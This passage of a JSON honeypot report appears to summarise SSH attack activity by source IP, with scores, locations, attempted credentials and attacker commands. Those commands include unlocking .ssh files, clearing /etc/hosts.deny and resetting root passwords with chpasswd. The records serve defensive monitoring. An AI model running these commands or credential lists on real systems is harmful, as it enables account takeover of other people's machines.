        "!QAZxsw2#EDC",
        "!^)$!(*&",
        "1234",
        "123456",
        "123456789",
        "1236",
        "19951995",
        "2016",
        "991992"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456789\\nK0mOkAdyCEVF\\nK0mOkAdyCEVF\\n\"|passwd",
        "echo \"linux123\\ng1iVoJuINVYR\\ng1iVoJuINVYR\\n\"|passwd",
        "echo \"root:ExkvZYG2XnrD\"|chpasswd|bash",
        "echo \"root:m2h7nxh9CWoU\"|chpasswd|bash",
        "echo \"root:peiPqfWMUz4l\"|chpasswd|bash",
        "echo \"warnight\\nvIwXIn59Nkq4\\nvIwXIn59Nkq4\\n\"|passwd",
        "echo -e \"123456789\\nK0mOkAdyCEVF\\nK0mOkAdyCEVF\"|passwd|bash",
        "echo -e \"linux123\\ng1iVoJuINVYR\\ng1iVoJuINVYR\"|passwd|bash",
        "echo -e \"warnight\\nvIwXIn59Nkq4\\nvIwXIn59Nkq4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Sherbrooke",
      "asn": 5769,
      "as_org": "Videotron Ltee",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 949,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:49:53.638000+00:00",
        "last_seen_30d": "2026-05-25T19:27:16.352000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 759,
        "Suricata": 190
      }
    },
    "211.251.245.88": {
      "attack_count": 718,
      "first_seen": "2026-05-06T16:16:43.508Z",
      "last_seen": "2026-05-31T16:19:38.199Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "345gs5662d34",
        "admin",
        "postgres",
        "server",
        "oracle",
        "ts3",
        "user",
        "web",
        "ali",
        "appltest",
        "arkserver",
        "bitrix",
        "botuser",
        "compta",
        "es",
        "frappe",
        "git"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "password",
        "qwe123..",
        "test123",
        "!qaz2wsx",
        "0000",
        "098765432",
        "1",
        "11",
        "11223344",
        "123",
        "1233218613",
        "12341234",
        "123456",
        "123456++",
        "12345678",
        "123456a",
        "1234qwer!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"!qaz2wsx\\nXIynWtsmXzBq\\nXIynWtsmXzBq\\n\"|passwd",
        "echo \"root:BxUnXjB7PxoA\"|chpasswd|bash",
        "echo \"root:xKp8F9hKyXF6\"|chpasswd|bash",
        "echo \"s3rv3r\\ndK62w8Lygwbn\\ndK62w8Lygwbn\\n\"|passwd",
        "echo \"test\\n4a9Ki1d6cqMU\\n4a9Ki1d6cqMU\\n\"|passwd",
        "echo -e \"!qaz2wsx\\nXIynWtsmXzBq\\nXIynWtsmXzBq\"|passwd|bash",
        "echo -e \"s3rv3r\\ndK62w8Lygwbn\\ndK62w8Lygwbn\"|passwd|bash",
        "echo -e \"test\\n4a9Ki1d6cqMU\\n4a9Ki1d6cqMU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 63.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.6,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 916,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:16:43.508000+00:00",
        "last_seen_30d": "2026-05-31T16:20:43.116000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 718,
        "Suricata": 198
      }
    },
    "5.189.172.217": {
      "attack_count": 630,
      "first_seen": "2026-05-04T16:29:52.791Z",
      "last_seen": "2026-05-04T16:43:04.374Z",
      "sessions": 315,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 948,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:29:52.791000+00:00",
        "last_seen_30d": "2026-05-04T16:44:14.097000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 630,
        "Suricata": 318
      }
    },
    "41.128.181.199": {
      "attack_count": 602,
      "first_seen": "2026-05-29T00:33:53.266Z",
      "last_seen": "2026-05-31T01:10:06.883Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "pepe",
        "user1",
        "wiki",
        "7days",
        "admin1",
        "app",
        "appuser",
        "deploy",
        "dummy",
        "info",
        "jake",
        "linda",
        "mamy",
        "mika",
        "oo",
        "prueba",
        "root/1234567"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "1",
        "102030",
        "123",
        "123456",
        "12345678Qq",
        "12wertyui",
        "1q2w3e4r",
        "1qaz2wsx",
        "20252025",
        "7days",
        "Admin123456*",
        "P@ssw0rd@2024",
        "Password!",
        "Qq112233..",
        "USER1",
        "admin123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"USER1\\nznkfVcGnOcRA\\nznkfVcGnOcRA\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\naHXW7nf4kWi0\\naHXW7nf4kWi0\\n\"|passwd",
        "echo \"pepe\\nUN8UNJPcog9Y\\nUN8UNJPcog9Y\\n\"|passwd",
        "echo \"root:QHMtyKI1N1he\"|chpasswd|bash",
        "echo \"root:vQT31TW6DPir\"|chpasswd|bash",
        "echo \"wiki123\\nwOAo7XRm2Sl0\\nwOAo7XRm2Sl0\\n\"|passwd",
        "echo -e \"USER1\\nznkfVcGnOcRA\\nznkfVcGnOcRA\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\naHXW7nf4kWi0\\naHXW7nf4kWi0\"|passwd|bash",
        "echo -e \"pepe\\nUN8UNJPcog9Y\\nUN8UNJPcog9Y\"|passwd|bash",
        "echo -e \"wiki123\\nwOAo7XRm2Sl0\\nwOAo7XRm2Sl0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 24863,
      "as_org": "LINKdotNET",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 714,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T00:33:53.266000+00:00",
        "last_seen_30d": "2026-05-31T01:11:16.391000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 602,
        "Suricata": 112
      }
    },
    "122.166.49.42": {
      "attack_count": 426,
      "first_seen": "2026-05-10T19:10:57.870Z",
      "last_seen": "2026-05-15T04:29:23.317Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "user",
        "admin",
        "ali",
        "alice",
        "brengoziscute",
        "deploy",
        "dev",
        "fauzi",
        "fecjl1yg",
        "g9q7jreo",
        "gpadmin",
        "guest",
        "jarvis",
        "javad",
        "linux",
        "pakchoi",
        "runner"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "123abc",
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        ".GxRJez2m1MHgY2j4lgG",
        "0day.today",
        "123",
        "123123.com",
        "1234",
        "123456Fy",
        "123456ddd",
        "123abc!",
        "123qwe!@#",
        "123qwe123",
        "1q2w3e4r!!",
        "1qaz@WSX1",
        "21wqsaxz",
        "3sScGbQLYlTZvYdQqsZA"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ElRuEgFvMzPV\"|chpasswd|bash",
        "echo \"root:Yfl1vcbEtZlQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 564,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T19:10:57.870000+00:00",
        "last_seen_30d": "2026-05-15T04:30:29.854000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 426,
        "Suricata": 138
      }
    },
    "68.233.116.124": {
      "attack_count": 415,
      "first_seen": "2026-05-13T16:55:23.055Z",
      "last_seen": "2026-05-20T02:38:44.400Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kkk",
        "ubuntu",
        "admin1",
        "adminer",
        "claude",
        "egmzkeaq",
        "henry",
        "njzf",
        "rabbitmq",
        "tesla",
        "testuser",
        "user",
        "yassine"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12332100",
        "12345",
        "123456",
        "123456789@Ab",
        "1234qwer",
        "1940",
        "1qaz!QAZ1",
        "1qaz@WSX",
        "A1b2c3d4e5",
        "Dd123456789",
        "P@ssw0rd123456",
        "Qwert@123",
        "Ww123456@",
        "ZAQ!XSW@",
        "a1s2d3f4",
        "adminroot",
        "banan"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"kkk\\n5Brk54TA6vJ0\\n5Brk54TA6vJ0\\n\"|passwd",
        "echo \"root:8YOTZT9PBbu3\"|chpasswd|bash",
        "echo \"root:ZMTMWM4nOuO5\"|chpasswd|bash",
        "echo -e \"kkk\\n5Brk54TA6vJ0\\n5Brk54TA6vJ0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 525,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T16:55:23.055000+00:00",
        "last_seen_30d": "2026-05-20T02:39:50.774000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 415,
        "Suricata": 110
      }
    },
    "170.106.104.232": {
      "attack_count": 381,
      "first_seen": "2026-05-19T02:04:52.748Z",
      "last_seen": "2026-05-19T02:28:53.108Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bharath",
        "kt",
        "mytest",
        "webadmin",
        "administrator",
        "ansible",
        "claude",
        "damien",
        "elasticsearch",
        "geo",
        "mm",
        "sri"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx2024",
        "123",
        "123456+",
        "123QWE123qwe",
        "Admin@789",
        "a",
        "abc-1234",
        "abcd1234",
        "bharath",
        "claude123",
        "damien",
        "geo",
        "hpinvent",
        "kt@123",
        "mm",
        "mytest",
        "qwqw1212",
        "root"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"bharath\\nRbwdOhj7JApo\\nRbwdOhj7JApo\\n\"|passwd",
        "echo \"kt@123\\nNCRNkZqaCmsZ\\nNCRNkZqaCmsZ\\n\"|passwd",
        "echo \"mytest\\nQALIXu56uRxA\\nQALIXu56uRxA\\n\"|passwd",
        "echo \"webadmin\\nCe3ZsPWWIapB\\nCe3ZsPWWIapB\\n\"|passwd",
        "echo -e \"bharath\\nRbwdOhj7JApo\\nRbwdOhj7JApo\"|passwd|bash",
        "echo -e \"kt@123\\nNCRNkZqaCmsZ\\nNCRNkZqaCmsZ\"|passwd|bash",
        "echo -e \"mytest\\nQALIXu56uRxA\\nQALIXu56uRxA\"|passwd|bash",
        "echo -e \"webadmin\\nCe3ZsPWWIapB\\nCe3ZsPWWIapB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 444,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:04:52.748000+00:00",
        "last_seen_30d": "2026-05-19T02:29:57.556000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 381,
        "Suricata": 63
      }
    },
    "149.91.97.130": {
      "attack_count": 371,
      "first_seen": "2026-05-24T06:41:08.009Z",
      "last_seen": "2026-05-26T20:44:46.464Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "info",
        "ubuntu",
        "anna",
        "curl",
        "dong",
        "erpnext",
        "ftpmedia",
        "guest",
        "harshit",
        "hello",
        "hh",
        "hydra",
        "kevin",
        "lemon",
        "marc",
        "runner"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "fjbdfdjkdsfs541544AA@@",
        "1234",
        "123QWEasdzxc",
        "19951995",
        "1qaz!QAZ1qaz",
        "@1qaz2wsx",
        "Abc123456*",
        "Abc@111111",
        "QWer1234",
        "Qwer@4321",
        "Root2026!",
        "Tk123456@",
        "Voidsetdownload.so",
        "Wangsu@2017",
        "admin888",
        "cyber@123",
        "dasha"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"info\\n70ILZYl7uqfa\\n70ILZYl7uqfa\\n\"|passwd",
        "echo -e \"info\\n70ILZYl7uqfa\\n70ILZYl7uqfa\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "C\u00f3rdoba",
      "asn": 34977,
      "as_org": "Procono S.A.",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 496,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T06:41:08.009000+00:00",
        "last_seen_30d": "2026-05-26T20:45:51.822000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 371,
        "Suricata": 125
      }
    },
    "163.7.9.84": {
      "attack_count": 357,
      "first_seen": "2026-05-10T09:01:27.310Z",
      "last_seen": "2026-05-10T10:06:44.641Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "sftp",
        "test",
        "user15",
        "Ubuntu",
        "alex",
        "bakuser",
        "bassuser",
        "bitrix",
        "deploy",
        "developer",
        "es",
        "mcserver",
        "oracle",
        "steam",
        "test0"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123321",
        "123456",
        "12345678",
        "123abc",
        "123qweasd",
        "1qa2ws",
        "Ab123456",
        "Debian@2022",
        "Ubuntu123",
        "ZAQ!2wsx",
        "admin#",
        "admin000",
        "admin1234",
        "asdf1",
        "bakuser",
        "bassuser",
        "bitrix123",
        "csgo"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1qa2ws\\nr9wKF5hczBQm\\nr9wKF5hczBQm\\n\"|passwd",
        "echo \"sftppass\\niuKUOYApWOMy\\niuKUOYApWOMy\\n\"|passwd",
        "echo \"user15\\nwLK7YLwOo2eQ\\nwLK7YLwOo2eQ\\n\"|passwd",
        "echo -e \"1qa2ws\\nr9wKF5hczBQm\\nr9wKF5hczBQm\"|passwd|bash",
        "echo -e \"sftppass\\niuKUOYApWOMy\\niuKUOYApWOMy\"|passwd|bash",
        "echo -e \"user15\\nwLK7YLwOo2eQ\\nwLK7YLwOo2eQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:01:27.310000+00:00",
        "last_seen_30d": "2026-05-10T10:07:48.898000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 83
      }
    },
    "43.153.114.25": {
      "attack_count": 304,
      "first_seen": "2026-05-18T04:28:12.572Z",
      "last_seen": "2026-05-18T04:55:26.351Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!^)$!(*&",
        "2016",
        "991992",
        "Aa98637381",
        "Anna",
        "Welcome@2019",
        "aa",
        "adminimda",
        "audrey123",
        "blahblah2",
        "foo123",
        "house",
        "ionyszaa",
        "leonie",
        "megha",
        "qd123",
        "qwe@123",
        "weaver"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:cSz3IkwhCSCr\"|chpasswd|bash",
        "echo \"root:lHLk3m4Vn1fP\"|chpasswd|bash",
        "echo \"root:mhTxZCgHfNJs\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T04:28:12.572000+00:00",
        "last_seen_30d": "2026-05-18T04:56:28.439000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 57
      }
    },
    "96.47.238.229": {
      "attack_count": 302,
      "first_seen": "2026-05-25T07:09:20.602Z",
      "last_seen": "2026-05-25T08:08:30.417Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "erpnext",
        "harshit",
        "curl",
        "dong",
        "guest",
        "hydra",
        "kevin",
        "s1",
        "solar",
        "testuser",
        "webuser",
        "xray"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "@1qaz2wsx",
        "Qwer@4321",
        "Root2026!",
        "Wangsu@2017",
        "dasha",
        "dong",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "harshit",
        "hydra",
        "root",
        "s1",
        "solar",
        "test@123",
        "webuser123",
        "welltech12",
        "xray"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
